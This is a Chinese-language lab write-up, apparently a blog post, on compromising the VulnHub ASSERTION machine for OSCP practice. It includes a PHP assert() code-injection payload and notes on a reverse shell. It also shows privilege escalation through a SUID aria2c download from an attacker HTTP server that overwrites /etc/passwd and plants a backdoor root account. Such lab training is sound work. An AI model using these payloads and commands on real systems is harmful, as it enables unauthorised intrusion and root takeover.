前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >靶场实战(17):OSCP备考之VulnHub ASSERTION

靶场实战(17):OSCP备考之VulnHub ASSERTION

作者头像
OneMoreThink
发布2024-10-15 11:37:22
发布2024-10-15 11:37:22
1220
举报

1、资产发现

1.1、主机发现

本次靶场ASSERTION[1]指定IP,不涉及主机发现过程。

1.2、服务发现

使用命令sudo -u root nmap 172.16.33.99 -n -Pn -p- --reason -sV -sC -O发现主机开放的端口、提供的服务、使用的组件、组件的版本。

开放的端口

提供的服务

使用的组件

组件的版本

22/tcp

ssh

OpenSSH

7.6p1

80/tcp

http

Apache httpd

2.4.29

-

os

Ubuntu Linux

?

2、漏洞发现(获取权限)

2.1、80端口/HTTP服务

2.1.1、组件漏洞

0x01、Web中间件

使用命令searchsploit Apache httpd 2.4.未发现Web中间件Apache httpd 2.4.29的Nday漏洞。

0x02、Web框架

使用浏览器插件Wappalyzer未发现存在Nday漏洞的Web框架。

2.1.2、URL漏洞

0x01、直接访问

浏览器打开http://172.16.33.99/,是个健身网站。虽然导航栏有多个地址,但内容都是相同的。

网站中的表单只有前端样式,没有后端交互,不会存在SQLi、XSS等漏洞。

网站的/index.php页面存在参数?page=contact,可能存在路径遍历或文件包含漏洞,轻则造成任意文件读取,重则造成远程代码执行。使用Payload?page=../../../../../etc/passwd进行探测,发现被拦截了,看来得绕过或用其它Payload。

逐个尝试HackTricks[2]中的绕过方法和其它Payload,发现assert这里描述的情况和靶机很像,使用Payload' and die(system("whoami")) or '发现可以成功执行,看来存在远程代码执行漏洞。

但是构造反弹shell时却失败,BurpSuite抓包查看原来是Payload中的&被当成了参数连接符,需要先进行编码。使用BurpSuite的Decoder对Payload进行URL编码,最终成功拿到www-data用户的权限。

0x02、目录扫描

使用命令dirsearch -u http://172.16.33.99/ -x 403未发现有价值的目录或文件,换一个字典,使用命令gobuster dir -u http://172.16.33.99/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt仍然无有价值的发现。

0x03、模糊测试

基于目前已知情况,没有对网站的目录和文件进行FUZZ的必要。

0x04、切换协议

尝试HTTPS协议,浏览器访问https://172.16.33.99:80/无法打开,看来网站没用SSL。

3、提升权限

3.1、www-data用户

3.1.1、sudo

使用命令which pythonwhich python3发现靶机上两个Python命令都有,使用命令python3 -c 'import pty; pty.spawn("/bin/bash")'获得交互式shell。

使用命令sudo -l查看当前用户能以谁的权限执行什么命令,结果因为没有当前用户的密码,所以无法查看。

3.1.2、suid

使用命令find / -perm -u=s -type f -ls 2>/dev/null查看哪些命令在执行时会以该命令属主的权限执行,发现还挺多。

逐个在GTFOBins[3]查询能否用于提权,发现/usr/bin/aria2c命令在允许默认的sh shell以suid权限运行的系统中可以用于提权。测试一下EXP,结果提权失败。

查阅资料得知aria2c是文件下载工具,提权EXP的原理是构造下载报错从而以命令属主root的权限触发报错状态指向的提权代码,进而获得命令属组root的权限。虽然靶机系统不允许默认的sh shell以suid权限运行,所以EXP提权失败,但是我们能否以命令属组root的权限下载一份我们植入了特权用户和密码的/etc/passwd文件,通过覆盖旧的/etc/passwd文件完成特权用户添加,从而获得提权呢?

在靶机上使用命令cat /etc/passwd打印/etc/passwd文件内容后copy下来,在本地使用命令openssl passwd -6 -salt salt password获得密码password的加盐哈希格式,并使用命令vim passwd将密码与刚才获取到的/etc/passwd文件合并,起个用户名hacker。最后使用命令python3 -m http.server开启HTTP服务,提供给靶机下载该passwd文件。

在靶机上进入/etc目录后,使用命令/usr/bin/aria2c http://10.8.0.110:8000/passwd下载passwd文件,结果因为/etc/passwd文件已经存在所以被保存成了/etc/passwd.1文件,这不行呀。

查阅文档aria2c[4]发现可以使用参数--allow-overwrite [true|false]强制覆盖,使用命令/usr/bin/aria2c http://10.8.0.110:8000/passwd --allow-overwrite=true下载并成功利用root用户的权限覆盖了旧的/etc/passwd文件,变相向/etc/passwd文件中添加了后门特权用户。

但是使用命令ssh hacker@172.16.33.99和密码password一直无法登录,在反复检查openssl命令和passwd文件没有错误后,猜测是SSH服务配置了特权用户禁止密码远程登录,所以尝试使用命令su hacker和密码password切换到hacker用户,最终成功拿到root权限。

参考资料

[1]

ASSERTION: https://www.vulnhub.com/entry/assertion-101,495/

[2]

HackTricks: https://book.hacktricks.xyz/pentesting-web/file-inclusion#lfi-via-phps-assert

[3]

GTFOBins: https://gtfobins.github.io

[4]

aria2c: https://aria2.github.io/manual/en/html/aria2c.html#advanced-options

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-01-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 OneMoreThink 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、资产发现
    • 1.1、主机发现
    • 1.2、服务发现
  • 2、漏洞发现(获取权限)
    • 2.1、80端口/HTTP服务
      • 2.1.1、组件漏洞
      • 2.1.2、URL漏洞
  • 3、提升权限
    • 3.1、www-data用户
      • 3.1.1、sudo
      • 3.1.2、suid
    • 参考资料
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档